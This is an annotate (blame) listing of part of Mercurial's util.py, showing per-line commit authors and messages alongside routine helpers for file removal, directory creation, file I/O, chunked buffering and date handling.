f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
1782
29394
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
1783 def __enter__(self):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
1784 return self
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
1785
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
1786 def __exit__(self, exctype, excvalue, traceback):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
1787 if exctype is not None:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
1788 self.discard()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
1789 else:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
1790 self.close()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
1791
31545
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
1792 def unlinkpath(f, ignoremissing=False):
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
1793 """unlink and remove the directory if it is empty"""
31547
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31546
diff changeset
1794 if ignoremissing:
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31546
diff changeset
1795 tryunlink(f)
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31546
diff changeset
1796 else:
31545
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
1797 unlink(f)
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
1798 # try removing directories that might now be empty
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
1799 try:
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
1800 removedirs(os.path.dirname(f))
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
1801 except OSError:
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
1802 pass
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
1803
31546
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
1804 def tryunlink(f):
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
1805 """Attempt to remove a file, ignoring ENOENT errors."""
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
1806 try:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
1807 unlink(f)
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
1808 except OSError as e:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
1809 if e.errno != errno.ENOENT:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
1810 raise
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31545
diff changeset
1811
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
1812 def makedirs(name, mode=None, notindexed=False):
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1813 """recursive directory creation with parent mode inheritance
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1814
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1815 Newly created directories are marked as "not to be indexed by
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1816 the content indexing service", if ``notindexed`` is specified
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1817 for "write" mode access.
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1818 """
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
1819 try:
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
1820 makedir(name, notindexed)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
1821 except OSError as err:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
1822 if err.errno == errno.EEXIST:
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
1823 return
15058
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
1824 if err.errno != errno.ENOENT or not name:
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
1825 raise
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
1826 parent = os.path.dirname(os.path.abspath(name))
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
1827 if parent == name:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
1828 raise
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
1829 makedirs(parent, mode, notindexed)
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1830 try:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1831 makedir(name, notindexed)
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1832 except OSError as err:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1833 # Catch EEXIST to handle races
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1834 if err.errno == errno.EEXIST:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1835 return
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
1836 raise
18678
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
1837 if mode is not None:
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
1838 os.chmod(name, mode)
18668
4034b8d551b1 scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents: 18614
diff changeset
1839
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
1840 def readfile(path):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
1841 with open(path, 'rb') as fp:
14100
3e9e02a41dfb util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents: 14099
diff changeset
1842 return fp.read()
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
1843
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
1844 def writefile(path, text):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
1845 with open(path, 'wb') as fp:
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
1846 fp.write(text)
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
1847
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
1848 def appendfile(path, text):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
1849 with open(path, 'ab') as fp:
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
1850 fp.write(text)
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
1851
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
1852 class chunkbuffer(object):
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
1853 """Allow arbitrary sized chunks of data to be efficiently read from an
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
1854 iterator over chunks of arbitrary size."""
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
1855
5446
fa836e050c50 chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents: 5420
diff changeset
1856 def __init__(self, in_iter):
32176
5f53c267e362 util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents: 31952
diff changeset
1857 """in_iter is the iterator that's iterating over the input chunks."""
11670
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1858 def splitbig(chunks):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1859 for chunk in chunks:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1860 if len(chunk) > 2**20:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1861 pos = 0
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1862 while pos < len(chunk):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1863 end = pos + 2 ** 18
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1864 yield chunk[pos:end]
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1865 pos = end
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1866 else:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1867 yield chunk
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
1868 self.iter = splitbig(in_iter)
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
1869 self._queue = collections.deque()
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1870 self._chunkoffset = 0
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
1871
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
1872 def read(self, l=None):
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
1873 """Read L bytes of data from the iterator of chunks of data.
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
1874 Returns less than L bytes if the iterator runs dry.
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
1875
23139
e53f6b72a0e4 spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23097
diff changeset
1876 If size parameter is omitted, read everything"""
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
1877 if l is None:
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
1878 return ''.join(self.iter)
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
1879
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1880 left = l
17962
4c29668ca316 util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents: 17560
diff changeset
1881 buf = []
16873
37e081609828 util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents: 16834
diff changeset
1882 queue = self._queue
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
1883 while left > 0:
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1884 # refill the queue
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1885 if not queue:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1886 target = 2**18
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1887 for chunk in self.iter:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1888 queue.append(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1889 target -= len(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1890 if target <= 0:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1891 break
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1892 if not queue:
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
1893 break
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1894
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1895 # The easy way to do this would be to queue.popleft(), modify the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1896 # chunk (if necessary), then queue.appendleft(). However, for cases
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1897 # where we read partial chunk content, this incurs 2 dequeue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1898 # mutations and creates a new str for the remaining chunk in the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1899 # queue. Our code below avoids this overhead.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1900
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
1901 chunk = queue[0]
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
1902 chunkl = len(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1903 offset = self._chunkoffset
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
1904
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
1905 # Use full chunk.
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1906 if offset == 0 and left >= chunkl:
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
1907 left -= chunkl
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
1908 queue.popleft()
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
1909 buf.append(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1910 # self._chunkoffset remains at 0.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1911 continue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1912
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1913 chunkremaining = chunkl - offset
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1914
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1915 # Use all of unconsumed part of chunk.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1916 if left >= chunkremaining:
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1917 left -= chunkremaining
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1918 queue.popleft()
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1919 # offset == 0 is enabled by block above, so this won't merely
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1920 # copy via ``chunk[0:]``.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1921 buf.append(chunk[offset:])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1922 self._chunkoffset = 0
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1923
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
1924 # Partial chunk needed.
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
1925 else:
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1926 buf.append(chunk[offset:offset + left])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1927 self._chunkoffset += left
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
1928 left -= chunkremaining
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1929
17962
4c29668ca316 util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents: 17560
diff changeset
1930 return ''.join(buf)
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
1931
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
1932 def filechunkiter(f, size=131072, limit=None):
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
1933 """Create a generator that produces the data in the file size
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
1934 (default 131072) bytes at a time, up to optional limit (default is
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
1935 to read all data). Chunks may be less than size bytes if the
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
1936 chunk is the last chunk in the file, or the file is a socket or
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
1937 some other type of file that sometimes reads less data than is
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
1938 requested."""
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
1939 assert size >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
1940 assert limit is None or limit >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
1941 while True:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1942 if limit is None:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1943 nbytes = size
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1944 else:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1945 nbytes = min(limit, size)
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
1946 s = nbytes and f.read(nbytes)
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1947 if not s:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1948 break
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1949 if limit:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
1950 limit -= len(s)
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
1951 yield s
1320
5f277e73778f Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1312
diff changeset
1952
19287
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
1953 def makedate(timestamp=None):
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
1954 '''Return a unix timestamp (or the current time) as a (unixtime,
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
1955 offset) tuple based off the local timezone.'''
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
1956 if timestamp is None:
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
1957 timestamp = time.time()
19286
78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
1958 if timestamp < 0:
13063
e98581d44f0b makedate: abort on negative timestamps (issue2513)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13062
diff changeset
1959 hint = _("check your clock")
19286
78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
1960 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
1961 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
1962 datetime.datetime.fromtimestamp(timestamp))
15505
ae04af1ce78d makedate: wrong timezone offset if DST rules changed this year (issue2511)
Dmitry Panov <dop@itoolabs.com>
parents: 15496
diff changeset
1963 tz = delta.days * 86400 + delta.seconds
19286
78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
1964 return timestamp, tz
1329
8f06817bf266 Allow files to be opened in text mode, even on Windows.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1321
diff changeset
1965
6229
c3182eeb70ea dates: improve timezone handling
Matt Mackall <mpm@selenic.com>
parents: 6224
diff changeset
1966 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1321
b47f96a178a3 Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1320
diff changeset
1967 """represent a (unixtime, offset) tuple as a localized time.
b47f96a178a3 Clean up date and timezone handling.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1320
diff changeset
1968 unixtime is seconds since the epoch, and offset is the time zone's
28865
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1969 number of seconds away from UTC.
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1970
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1971 >>> datestr((0, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1972 'Thu Jan 01 00:00:00 1970 +0000'
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1973 >>> datestr((42, 0))
16255662446d util: add doctest to datestr()
Adrian Buehlmann <adrian@cadifra.com>
parents: 28864
diff changeset
1974 'Thu Jan 01 00:00:42 1970 +0000'
